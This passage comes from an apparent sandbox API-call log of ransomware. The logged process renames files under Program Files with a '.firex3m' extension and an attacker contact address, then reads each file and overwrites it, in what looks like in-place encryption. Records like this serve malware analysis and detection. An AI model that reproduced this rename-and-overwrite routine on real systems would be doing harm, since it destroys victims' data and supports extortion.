Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.135] CloseHandle (hObject=0x6d8) returned 1 [0218.135] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.136] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.136] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.136] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5400 [0218.136] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0218.137] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.137] GetProcessHeap () returned 0x630000 [0218.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f0f48 [0218.137] GetProcessHeap () returned 0x630000 [0218.137] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x6f04a8 [0218.137] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.137] ReadFile (in: hFile=0x6d8, lpBuffer=0x6f0f48, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0f48*, lpNumberOfBytesRead=0x50fff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.140] GetProcessHeap () returned 0x630000 [0218.140] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0218.140] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.141] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f04a8*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f04a8*, lpNumberOfBytesWritten=0x50fff0c*=0x260, lpOverlapped=0x0) returned 1 [0218.141] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.141] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f0707*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0707*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.141] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.141] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.141] CloseHandle (hObject=0x6d8) returned 1 [0218.141] GetProcessHeap () returned 0x630000 [0218.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f04a8 | out: hHeap=0x630000) returned 1 [0218.141] GetProcessHeap () returned 0x630000 [0218.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f0f48 | out: hHeap=0x630000) returned 1 [0218.141] GetProcessHeap () returned 0x630000 [0218.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0218.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.141] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x47f8a2bd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x50ffd20, dwReserved1=0x6f0f48, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0218.142] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0218.142] Sleep (dwMilliseconds=0x1) [0218.151] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html") returned 1 [0218.151] GetProcessHeap () returned 0x630000 [0218.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5080) returned 0x6fe3bb0 [0218.151] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.151] CloseHandle (hObject=0x6d8) returned 1 [0218.151] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.151] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa0a7, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4ec0 [0218.152] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0218.152] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-es\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0218.153] GetProcessHeap () returned 0x630000 [0218.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x73bc338 [0218.153] GetProcessHeap () returned 0x630000 [0218.153] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa0c1) returned 0x72de948 [0218.153] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.153] ReadFile (in: hFile=0x6d8, lpBuffer=0x73bc338, nNumberOfBytesToRead=0xa0a0, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73bc338*, lpNumberOfBytesRead=0x50fff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0223.696] GetProcessHeap () returned 0x630000 [0223.696] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0223.696] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.696] WriteFile (in: hFile=0x6d8, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xa0a0, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x50fff0c*=0xa0a0, lpOverlapped=0x0) returned 1 [0224.948] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.948] WriteFile (in: hFile=0x6d8, lpBuffer=0x72e89e7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e89e7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.652] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.652] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.652] CloseHandle (hObject=0x6d8) returned 1 [0225.730] GetProcessHeap () returned 0x630000 [0225.730] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0225.734] GetProcessHeap () returned 0x630000 [0225.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73bc338 | out: hHeap=0x630000) returned 1 [0225.734] GetProcessHeap () returned 0x630000 [0225.734] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0226.663] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.663] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-ES\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c736bea, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa0cb, dwReserved0=0xa207496, dwReserved1=0x73bc330, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5000 [0226.663] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0226.663] Sleep (dwMilliseconds=0x1) [0226.674] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\scriptftp.exe", len=0x2f | out: pbstr=0x50fff7c*="C:\\Program Files\\Windows Defender\\scriptftp.exe") returned 1 [0226.674] GetProcessHeap () returned 0x630000 [0226.674] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f4) returned 0x6fe3bb0 [0226.674] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\scriptftp.exe" (normalized: "c:\\program files\\windows defender\\scriptftp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.674] Sleep (dwMilliseconds=0x1) [0226.684] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\Windows Defender\\flashfxp.exe", len=0x2e | out: pbstr=0x50fff7c*="C:\\Program Files\\Windows Defender\\flashfxp.exe") returned 1 [0226.684] GetProcessHeap () returned 0x630000 [0226.684] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51cc) returned 0x6fe3bb0 [0226.685] CreateFileW (lpFileName="C:\\Program Files\\Windows Defender\\flashfxp.exe" (normalized: "c:\\program files\\windows defender\\flashfxp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.685] Sleep (dwMilliseconds=0x1) [0226.699] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl", len=0x3f | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl") returned 1 [0226.699] GetProcessHeap () returned 0x630000 [0226.699] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0226.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0226.711] CloseHandle (hObject=0x718) returned 1 [0226.711] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.711] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.776] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffc6c | out: lpFindFileData=0x50ffc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5f01bf05, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN4722~1.FIR")) returned 0x6d4f80 [0226.776] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0226.776] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0226.776] GetProcessHeap () returned 0x630000 [0226.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7477198 [0226.776] GetProcessHeap () returned 0x630000 [0226.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74825c8 [0226.776] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.776] ReadFile (in: hFile=0x718, lpBuffer=0x7477198, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7477198*, lpNumberOfBytesRead=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.104] GetProcessHeap () returned 0x630000 [0233.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0233.104] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.104] WriteFile (in: hFile=0x718, lpBuffer=0x74825c8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x74825c8*, lpNumberOfBytesWritten=0x50fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.749] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.749] WriteFile (in: hFile=0x718, lpBuffer=0x748d9c7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x748d9c7*, lpNumberOfBytesWritten=0x50fff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.971] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.972] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x50fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x50fff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.972] CloseHandle (hObject=0x718) returned 1 [0234.560] GetProcessHeap () returned 0x630000 [0234.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74825c8 | out: hHeap=0x630000) returned 1 [0234.560] GetProcessHeap () returned 0x630000 [0234.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7477198 | out: hHeap=0x630000) returned 1 [0234.560] GetProcessHeap () returned 0x630000 [0234.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0235.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.666] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x50ffcc4 | out: lpFindFileData=0x50ffcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x5c983e05, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x516854c4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xa207496, dwReserved1=0x7477190, cFileName="UniversalNotificationPlatform.003.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN4722~1.FIR")) returned 0x6d5040 [0235.666] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.666] Sleep (dwMilliseconds=0x1) [0235.672] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100.png", len=0x62 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100.png") returned 1 [0235.672] GetProcessHeap () returned 0x630000 [0235.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fec) returned 0x6fe3bb0 [0235.672] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\list.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\list.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.677] Sleep (dwMilliseconds=0x1) [0235.720] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-180.png", len=0x66 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-180.png") returned 1 [0235.720] GetProcessHeap () returned 0x630000 [0235.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd0) returned 0x6fe3bb0 [0235.720] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\mute.scale-180.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\mute.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.734] Sleep (dwMilliseconds=0x1) [0235.866] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x50fff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml") returned 1 [0235.866] GetProcessHeap () returned 0x630000 [0235.866] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fa8) returned 0x6fe3bb0 [0235.866] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.867] CloseHandle (hObject=0x430) returned 1 [0235.867] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x50fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.867] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-au\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: 